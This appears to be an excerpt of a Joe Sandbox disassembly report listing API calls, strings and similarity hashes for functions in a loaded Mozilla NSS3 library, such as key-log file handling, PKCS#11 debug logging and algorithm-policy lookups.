Part of subcall function 6C7C3440: PK11_GetAllTokens.NSS3 ref: 6C7C3481
Part of subcall function 6C7C3440: PR_SetError.NSS3(00000000,00000000), ref: 6C7C34A3
Part of subcall function 6C7C3440: TlsGetValue.KERNEL32 ref: 6C7C352E
Part of subcall function 6C7C3440: EnterCriticalSection.KERNEL32(?), ref: 6C7C3542
Part of subcall function 6C7C3440: PR_Unlock.NSS3(?), ref: 6C7C355B

PR_Unlock.NSS3(?), ref: 6C7B27A1
PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C78662E,?,?,?), ref: 6C7B27B5
PR_Unlock.NSS3(?), ref: 6C7B27CE
TlsGetValue.KERNEL32 ref: 6C7B27E8
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7B2800

Part of subcall function 6C7BF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C7BF854
Part of subcall function 6C7BF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C7BF868
Part of subcall function 6C7BF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C7BF882
Part of subcall function 6C7BF820: free.MOZGLUE(04C483FF,?,?), ref: 6C7BF889
Part of subcall function 6C7BF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C7BF8A4
Part of subcall function 6C7BF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C7BF8AB
Part of subcall function 6C7BF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C7BF8C9
Part of subcall function 6C7BF820: free.MOZGLUE(280F10EC,?,?), ref: 6C7BF8D0

PR_Unlock.NSS3(?), ref: 6C7B2834
TlsGetValue.KERNEL32 ref: 6C7B284E
EnterCriticalSection.KERNEL32(0000001C), ref: 6C7B2866

Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607AD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607CD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607D6
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6F204A), ref: 6C7607E4
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,6C6F204A), ref: 6C760864
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C760880
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,6C6F204A), ref: 6C7608CB
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608D7
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608FB

Strings

.fxl, xrefs: 6C7B2618, 6C7B2632
.fxl, xrefs: 6C7B261B, 6C7B269B, 6C7B26CA, 6C7B2780, 6C7B2890, 6C7B2635, 6C7B269E, 6C7B2738, 6C7B2783

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$CriticalSection$Unlock$Enterfree$DeleteError$K11_calloc$ImportPublicTokens
String ID: .fxl$.fxl
API String ID: 544520609-2166066456
Opcode ID: 79803fa92c74624860fd4222e10b32f29ec54089aefa022796f336d27704b33b
Instruction ID: 35ebf18c0a46d56c962c865c4bb0dcae21a7cbcedd84ea8c72734eb8d8c99170
Opcode Fuzzy Hash: 79803fa92c74624860fd4222e10b32f29ec54089aefa022796f336d27704b33b
Instruction Fuzzy Hash: 47B1C0B4E012059FDB10DF69DA88BAAB7B4FF09308F104539E905A7B12E731E944CBA1

Function 6C7D0550 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 182stringCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6C7B5989), ref: 6C7D0571

Part of subcall function 6C761240: TlsGetValue.KERNEL32(00000040,?,6C76116C,NSPR_LOG_MODULES), ref: 6C761267
Part of subcall function 6C761240: EnterCriticalSection.KERNEL32(?,?,?,6C76116C,NSPR_LOG_MODULES), ref: 6C76127C
Part of subcall function 6C761240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C76116C,NSPR_LOG_MODULES), ref: 6C761291
Part of subcall function 6C761240: PR_Unlock.NSS3(?,?,?,?,6C76116C,NSPR_LOG_MODULES), ref: 6C7612A0

PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6C7B5989), ref: 6C7D05B7
PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6C7B5989), ref: 6C7D05C8
strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6C7B5989), ref: 6C7D05EC
strstr.VCRUNTIME140(00000001,?), ref: 6C7D0653
free.MOZGLUE(?,?,?,?,00000002,00000000,?,6C7B5989), ref: 6C7D0681
PORT_NewArena_Util.NSS3(00000800,?,?,?,?,00000002,00000000,?,6C7B5989), ref: 6C7D06AB
PL_NewHashTable.NSS3(00000000,6C7CFE80,?,6C81C350,00000000,00000000,?,?,?,?,?,00000002,00000000,?,6C7B5989), ref: 6C7D06D5
PL_NewHashTable.NSS3(00000000,?,6C81C350,6C81C350,00000000,00000000), ref: 6C7D06EC
PL_HashTableAdd.NSS3(?,6C89E618,6C89E618), ref: 6C7D070F

Part of subcall function 6C6F2DF0: PL_HashTableRawAdd.NSS3(?,?,?,?,?), ref: 6C6F2E35

PL_HashTableAdd.NSS3(FFFFFFFF,6C89E618), ref: 6C7D0738
PL_HashTableAdd.NSS3(6C89E634,6C89E634), ref: 6C7D0752
PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,00000002,00000000,?,6C7B5989), ref: 6C7D0767

Strings

V, xrefs: 6C7D0559
dynamic OID data, xrefs: 6C7D068A
flags, xrefs: 6C7D0555
NSS_HASH_ALG_SUPPORT, xrefs: 6C7D05B2
NSS_ALLOW_WEAK_SIGNATURE_ALG, xrefs: 6C7D056C

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: HashTable$SecureUtil$Arena_CriticalEnterErrorSectionStrdup_UnlockValuefreegetenvstrchrstrstr
String ID: NSS_ALLOW_WEAK_SIGNATURE_ALG$NSS_HASH_ALG_SUPPORT$V$dynamic OID data$flags
API String ID: 514890423-4248967104
Opcode ID: aabdd0d87055812123c451032ba6f7944c32fbbe46ee4f5a022410f708d5063c
Instruction ID: 60da46124da621556b929d2995d023b4ad2174e58f19ac2c187c2b36f5ab3c5d
Opcode Fuzzy Hash: aabdd0d87055812123c451032ba6f7944c32fbbe46ee4f5a022410f708d5063c
Instruction Fuzzy Hash: 1151D3B1E002815FEB608B358E0CB5B3AB5AB8235CF5A1535E818D7B41E735F945CBE1

Function 6C7B4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7B4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C7B4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C7B4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B4DB7

Part of subcall function 6C81DD70: TlsGetValue.KERNEL32 ref: 6C81DD8C
Part of subcall function 6C81DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C81DDB4

Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607AD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607CD
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6F204A), ref: 6C7607D6
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6F204A), ref: 6C7607E4
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,6C6F204A), ref: 6C760864
Part of subcall function 6C7607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C760880
Part of subcall function 6C7607A0: TlsSetValue.KERNEL32(00000000,?,?,6C6F204A), ref: 6C7608CB
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608D7
Part of subcall function 6C7607A0: TlsGetValue.KERNEL32(?,?,6C6F204A), ref: 6C7608FB

TlsGetValue.KERNEL32 ref: 6C7B4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C7B4DEC
PR_Unlock.NSS3(?), ref: 6C7B4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C7B4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C7B4E71
free.MOZGLUE(00000000), ref: 6C7B4E7A
PR_Unlock.NSS3(?), ref: 6C7B4EA2
TlsGetValue.KERNEL32 ref: 6C7B4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C7B4ED6
PR_Unlock.NSS3(?), ref: 6C7B4F01
free.MOZGLUE(00000000), ref: 6C7B4F2A

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 727d5017a638ecbcd4dc0aa8c2e5125a54fd124a8c102f563fc562ac0f20192d
Instruction ID: ec8c7df82bcf2f38596656dbe0212dcb29dc24278eb7d74379cc5a056d0e82e0
Opcode Fuzzy Hash: 727d5017a638ecbcd4dc0aa8c2e5125a54fd124a8c102f563fc562ac0f20192d
Instruction Fuzzy Hash: 75B1D075A00206AFDB11EF68D985BAA77B8BF4531CF044138ED15A7B01EB34EA64CBD1

Function 6C806E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C806BF7), ref: 6C806EB6

Part of subcall function 6C761240: TlsGetValue.KERNEL32(00000040,?,6C76116C,NSPR_LOG_MODULES), ref: 6C761267
Part of subcall function 6C761240: EnterCriticalSection.KERNEL32(?,?,?,6C76116C,NSPR_LOG_MODULES), ref: 6C76127C
Part of subcall function 6C761240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C76116C,NSPR_LOG_MODULES), ref: 6C761291
Part of subcall function 6C761240: PR_Unlock.NSS3(?,?,?,?,6C76116C,NSPR_LOG_MODULES), ref: 6C7612A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C8AFC0A,6C806BF7), ref: 6C806ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C806EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C806EFC
PR_NewLock.NSS3 ref: 6C806F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C806F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C806BF7), ref: 6C806F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C806BF7), ref: 6C806F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C806BF7), ref: 6C806FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C806BF7), ref: 6C806FFD

Strings

SSLKEYLOGFILE, xrefs: 6C806EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C806FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C806EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C806F4F
SSLFORCELOCKS, xrefs: 6C806F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C806FDB

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: de70a6bfc51a93dd1f2812c1bbbb3a573537c33acf5a0ac78d420706abcbd2d2
Instruction ID: 2100a8395ec26f823698cc0c8035fa9a7991e1eb2029b430a1e4ea75bcb78974
Opcode Fuzzy Hash: de70a6bfc51a93dd1f2812c1bbbb3a573537c33acf5a0ac78d420706abcbd2d2
Instruction Fuzzy Hash: D6A1C5B2B559958AF6304A3CCE0174437A2AB9332EF994B79EC31C7ED5DB75A480C381

Function 6C77C4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C77C4D5

Part of subcall function 6C7CBE30: SECOID_FindOID_Util.NSS3(6C78311B,00000000,?,6C78311B,?), ref: 6C7CBE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C77C516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C77C530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C77C54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6C77C5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6C77C712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C77C725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C77C742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C77C751
PL_FinishArenaPool.NSS3(?), ref: 6C77C77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C77C78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C77C7A9

Strings

security, xrefs: 6C77C63F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: 86c09be6954337174a3e340e01cbeeb3b045002e9cfebae42d6ecbe0af56f21f
Instruction ID: f54d8579962d999c1059e9b9a3cc84a05252c6c9bccc17487e677c1d1d768453
Opcode Fuzzy Hash: 86c09be6954337174a3e340e01cbeeb3b045002e9cfebae42d6ecbe0af56f21f
Instruction Fuzzy Hash: D9811B71D0110C9BEF20EA64DE84BEE7B68EF0930EF244135E901E6A51E721EA49C7B1

Function 6C7A6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C7A6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A6DC3

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C7A6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C7A6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C7A6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C7A6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C7A6EB9

Strings

pData = 0x%p, xrefs: 6C7A6DF5
C_Digest, xrefs: 6C7A6D81
*pulDigestLen = 0x%x, xrefs: 6C7A6EB4
ulDataLen = %d, xrefs: 6C7A6E0E
pDigest = 0x%p, xrefs: 6C7A6E27
hSession = 0x%x, xrefs: 6C7A6D9E, 6C7A6DAE
pulDigestLen = 0x%p, xrefs: 6C7A6E42
(CK_INVALID_HANDLE), xrefs: 6C7A6DBC

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 0a9e4bfae70bcf7576688a364846de853f0c7554f643a8b0347692bd420e4816
Instruction ID: 4b8b6d630c5735da1ae984678c3cb089b11eae055e7dfc3aab8727baa0e00550
Opcode Fuzzy Hash: 0a9e4bfae70bcf7576688a364846de853f0c7554f643a8b0347692bd420e4816
Instruction Fuzzy Hash: AB41E235602014ABDB209F98CE4DA9A7BB5AB8671CF048474E80897B12DB34BD09CBD1

Function 6C7A8500 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptDigestUpdate), ref: 6C7A8526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A8554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A8563

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A8579
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C7A859A
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C7A85B3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7A85CC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C7A85E7
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C7A8659

Strings

C_DecryptDigestUpdate, xrefs: 6C7A8521
hSession = 0x%x, xrefs: 6C7A853E, 6C7A854E
pulPartLen = 0x%p, xrefs: 6C7A85E2
pPart = 0x%p, xrefs: 6C7A85C7
ulEncryptedPartLen = %d, xrefs: 6C7A85AE
pEncryptedPart = 0x%p, xrefs: 6C7A8595
(CK_INVALID_HANDLE), xrefs: 6C7A855C
*pulPartLen = 0x%x, xrefs: 6C7A8654

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptDigestUpdate
API String ID: 1003633598-1019776760
Opcode ID: 77f0cf06ae8cdba5df9aeb35a04d4f28a525871b95453287b0b39b95cfc22d03
Instruction ID: c1e1b503c23eb2c70944d08d7f1a5e97818ccb06dcb987a5b611766732b82bf4
Opcode Fuzzy Hash: 77f0cf06ae8cdba5df9aeb35a04d4f28a525871b95453287b0b39b95cfc22d03
Instruction Fuzzy Hash: B841D335602054AFDB208F98DF4CE9A7BB1AB4631DF088576E80857B12DB34BD49CBD1

Function 6C7A8690 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignEncryptUpdate), ref: 6C7A86B6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7A86E4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7A86F3

Part of subcall function 6C88D930: PL_strncpyz.NSS3(?,?,?), ref: 6C88D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7A8709
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C7A872A
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C7A8743
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C7A875C
PR_LogPrint.NSS3( pulEncryptedPartLen = 0x%p,?), ref: 6C7A8777
PR_LogPrint.NSS3( *pulEncryptedPartLen = 0x%x,?), ref: 6C7A87E9

Strings

pulEncryptedPartLen = 0x%p, xrefs: 6C7A8772
hSession = 0x%x, xrefs: 6C7A86CE, 6C7A86DE
pPart = 0x%p, xrefs: 6C7A8725
ulPartLen = %d, xrefs: 6C7A873E
pEncryptedPart = 0x%p, xrefs: 6C7A8757
(CK_INVALID_HANDLE), xrefs: 6C7A86EC
C_SignEncryptUpdate, xrefs: 6C7A86B1
*pulEncryptedPartLen = 0x%x, xrefs: 6C7A87E4

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulEncryptedPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulEncryptedPartLen = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_SignEncryptUpdate
API String ID: 1003633598-3528238837
Opcode ID: 285858ddd4c5d7e621541a0d78e846aea430fda9837860ac7c78e24cf3f1ca32
Instruction ID: 85ed7d80cbe92a0cc290df2b1b3f9e86ac95a01480482549fbe7089b830efa9a
Opcode Fuzzy Hash: 285858ddd4c5d7e621541a0d78e846aea430fda9837860ac7c78e24cf3f1ca32
Instruction Fuzzy Hash: 6641A635602154ABDB308FA8DF4CE9A77B1AB4631DF048575E80857B12D734BC59CBE1

Function 6C7E4500 Relevance: 28.8, APIs: 19, Instructions: 319threadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6C7E3803,?,6C7E3817,00000000), ref: 6C7E450E

Part of subcall function 6C7D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C778298,?,?,?,6C76FCE5,?), ref: 6C7D07BF
Part of subcall function 6C7D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7D07E6
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D081B
Part of subcall function 6C7D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D0825

PR_SetError.NSS3(FFFFE005,00000000,?,6C7E3817,00000000), ref: 6C7E4550
SECOID_FindOIDByTag_Util.NSS3(00000004,00000000), ref: 6C7E45B5
SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6C7E4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6C7E4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6C7E473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6C7E4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C8A2DA0,?,?,?,?,?,?,?,?,00000000), ref: 6C7E482E
PR_GetCurrentThread.NSS3 ref: 6C7E48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C7E4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6C7E4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6C7E494E
